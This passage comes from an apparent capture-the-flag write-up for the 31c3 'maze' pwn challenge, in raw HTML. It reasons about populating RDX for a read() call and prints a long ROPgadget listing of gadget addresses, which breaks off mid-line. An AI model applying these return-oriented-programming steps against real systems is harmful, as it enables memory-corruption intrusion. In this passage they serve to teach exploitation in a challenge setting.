<\/span><span class=\"crayon-st\">for<\/span> <span class=\"crayon-e\">ROP <\/span><span class=\"crayon-v\">gadget<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-s\">&#8216;pop rdx&#8217;<\/span> <span class=\"crayon-st\">in<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">binary <\/span><span class=\"crayon-e\">ranges<\/span><\/div>\n<div id=\"crayon-57eb96174b237404103246-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">Not<\/span> <span class=\"crayon-v\">found<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>As you can see above, there are unfortunately no suitable \u201cpop rdx\u201d gadgets. There may be other ways for us to populate RDX though, and for our purposes, we don\u2019t need to populate RDX with any specific value. Any non-zero value that is not too small is fine. The code we want to execute is read(0, ptr, N), where ptr is a pointer to a buffer that we are reading data into and N just needs to be at least as large as the data we want to read. As long as RDX still contains a non-zero value after the read(), even 1 might have been ok, if we can chain multiple calls to read().<\/p>\n<p>For a more complete listing of ROP gadgets, that we can inspect manually in order to see if we can find anything useful, the <a href=\"http:\/\/shell-storm.org\/project\/ROPgadget\/\" target=\"_blank\">ROPgadget<\/a> tool by Jonathan Salwan can be used:<\/p>\n<div id=\"crayon-57eb96174b240152945395\" class=\"crayon-syntax crayon-theme-solarized-dark crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\">\n<div class=\"crayon-plain-wrap\"><\/div>\n<div class=\"crayon-main\">\n<table class=\"crayon-table\">\n<tbody>\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums \" data-settings=\"show\">\n<div class=\"crayon-nums-content\">\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-44\">44<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-45\">45<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-46\">46<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-47\">47<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-48\">48<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-49\">49<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-50\">50<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-51\">51<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-52\">52<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-53\">53<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-54\">54<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-55\">55<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-56\">56<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-57\">57<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-58\">58<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-59\">59<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-60\">60<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-61\">61<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-62\">62<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-63\">63<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-64\">64<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-65\">65<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-66\">66<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-67\">67<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-68\">68<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-69\">69<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-70\">70<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-71\">71<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-72\">72<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-73\">73<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-74\">74<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-75\">75<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-76\">76<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-77\">77<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-78\">78<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-79\">79<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-80\">80<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-81\">81<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-82\">82<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-83\">83<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-84\">84<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-85\">85<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-86\">86<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-87\">87<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-88\">88<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-89\">89<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-90\">90<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-91\">91<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-92\">92<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-93\">93<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-94\">94<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-95\">95<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-96\">96<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-97\">97<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-98\">98<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-99\">99<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-100\">100<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-101\">101<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-102\">102<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-103\">103<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-104\">104<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-105\">105<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-106\">106<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-107\">107<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-108\">108<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-109\">109<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-110\">110<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-111\">111<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-112\">112<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-113\">113<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-114\">114<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-115\">115<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-57eb96174b240152945395-116\">116<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-57eb96174b240152945395-117\">117<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\">\n<div id=\"crayon-57eb96174b240152945395-1\" class=\"crayon-line\"><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">tiny<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">31c3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">pwn<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">maze<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">je<\/span><span class=\"crayon-sy\">$<\/span> <span class=\"crayon-v\">ROPgadget<\/span> <span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-e\">binary <\/span><span class=\"crayon-e\">maze <\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-2\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">Gadgets <\/span><span class=\"crayon-v\">information<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-3\" class=\"crayon-line\"><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-4\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400d95<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rbx<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x41<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">bl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-5\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400cb7<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">al<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x75<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">mov <\/span><span class=\"crayon-v\">ah<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0x5d<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-6\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f6f<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">bl<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">dh<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-7\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c9f<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x7d<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">cl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0x4802<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-8\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f6d<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">bl<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">dh<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-9\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c9d<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x7d<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">cl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0x4802<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-10\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f6b<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">bl<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">dh<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-11\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c9b<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x7d<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">cl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span> <span class=\"crayon-cn\">0x4802<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-12\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f6c<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-13\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c4c<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-st\">xor<\/span> <span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-14\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x00000000004007ab<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-v\">rsp<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">8<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-15\" class=\"crayon-line\"><span class=\"crayon-cn\">0x00000000004008c9<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">jmp<\/span> <span class=\"crayon-cn\">0x4007c9<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-16\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400c44<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-17\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400d96<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbx<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r12<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">r13<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-18\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400f6e<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-19\" class=\"crayon-line\"><span class=\"crayon-cn\">0x0000000000400c4e<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rax<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">al<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-st\">xor<\/span> <span class=\"crayon-v\">eax<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">eax<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rbp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-i\">ret<\/span><\/div>\n<div id=\"crayon-57eb96174b240152945395-20\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-cn\">0x0000000000400d97<\/span> <span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">add <\/span><span class=\"crayon-t\">byte<\/span> <span class=\"crayon-i\">ptr<\/span> <span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">rbx<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x41<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-i\">bl<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span class=\"crayon-i\">rsp<\/span> <span class=\"crayon-sy\">;<\/span> <span class=\"crayon-e\">pop <\/span><span 